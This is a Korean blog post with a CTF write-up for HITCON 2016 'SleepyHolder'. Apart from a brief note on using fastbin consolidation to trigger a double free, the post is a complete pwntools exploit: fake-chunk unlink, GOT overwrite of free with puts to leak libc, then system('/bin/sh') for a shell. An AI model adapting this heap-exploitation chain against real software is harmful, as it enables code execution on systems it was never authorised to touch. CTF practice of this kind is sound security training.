Notice
Recent Posts
Recent Comments
Link
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

HITCON 2016 SleepyHolder 본문

Security/Pwnable

HITCON 2016 SleepyHolder

Cdor1 2017. 1. 8. 03:30

후기 : HITCON 2번째 Holder시리즈인 SleepyHolder이다.

SecretHolder와 다른점이 있다면 largechunk를 한번밖에 할당 못한다는 것?

1번밖에 할당을 못해주므로 예전에 포스팅했던 fastbin consolidate를 사용해서 dfb를 트리거했다.

이렇게 심플하면서도 큰 교훈을 주는 문제들이 참 좋다. ㅎ (낙현이도 공감했답니다)


from pwn import *
s = remote('localhost', 4000)
elf = ELF('/home/cdor1/pwnable/SleepyHolder')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']


def keep(num, content):
	print s.recvuntil('3. Renew secret')
	s.sendline('1')
	print s.recvuntil('Big secret\n')
	s.sendline(str(num))
	print s.recvuntil('Tell me your secret: ')
	s.send(content)

def wipe(num):
	print s.recvuntil('3. Renew secret')
	s.sendline('2')
	print s.recvuntil('2. Big secret')
	s.sendline(str(num))

def renew(num, content):
	print s.recvuntil('3. Renew secret')
	s.sendline('3')
	print s.recvuntil('2. Big secret')
	s.sendline(str(num))
	print s.recvuntil('Tell me your secret: ')
	s.send(content)

keep(1, 'aaaa')
keep(2, 'aaaa')
wipe(1)
keep(3, 'aaaa')
wipe(1)

fake = p64(0)
fake += p64(0x21)
fake += p64(0x6020d0 - 0x18)
fake += p64(0x6020d0 - 0x10)
fake += p64(0x20)
keep(1,fake)
wipe(2)

fake2 = p64(0)
fake2 += p64(puts_got)
fake2 += p64(0)
fake2 += p64(free_got)
fake2 += p32(1)*3
renew(1, fake2)
renew(1, p64(puts_plt))
wipe('2')
print s.recv(6)
leak = u64(s.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x6fd60
system = libc_base + 0x46590
log.info('leak : ' + hex(leak))
log.info('libc_base : ' + hex(libc_base))
log.info('system : ' + hex(system))
renew(1, p64(system))
keep(2, '/bin/sh\x00')
wipe('2')
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

Christmas CTF Who is solo  (0) 2017.01.09
Belluminar 2016 remuheap  (0) 2017.01.08
2016 MMA CTF diary  (0) 2017.01.07
HolyShield diary  (1) 2017.01.06
BoBCTF - megabox  (0) 2017.01.05
Comments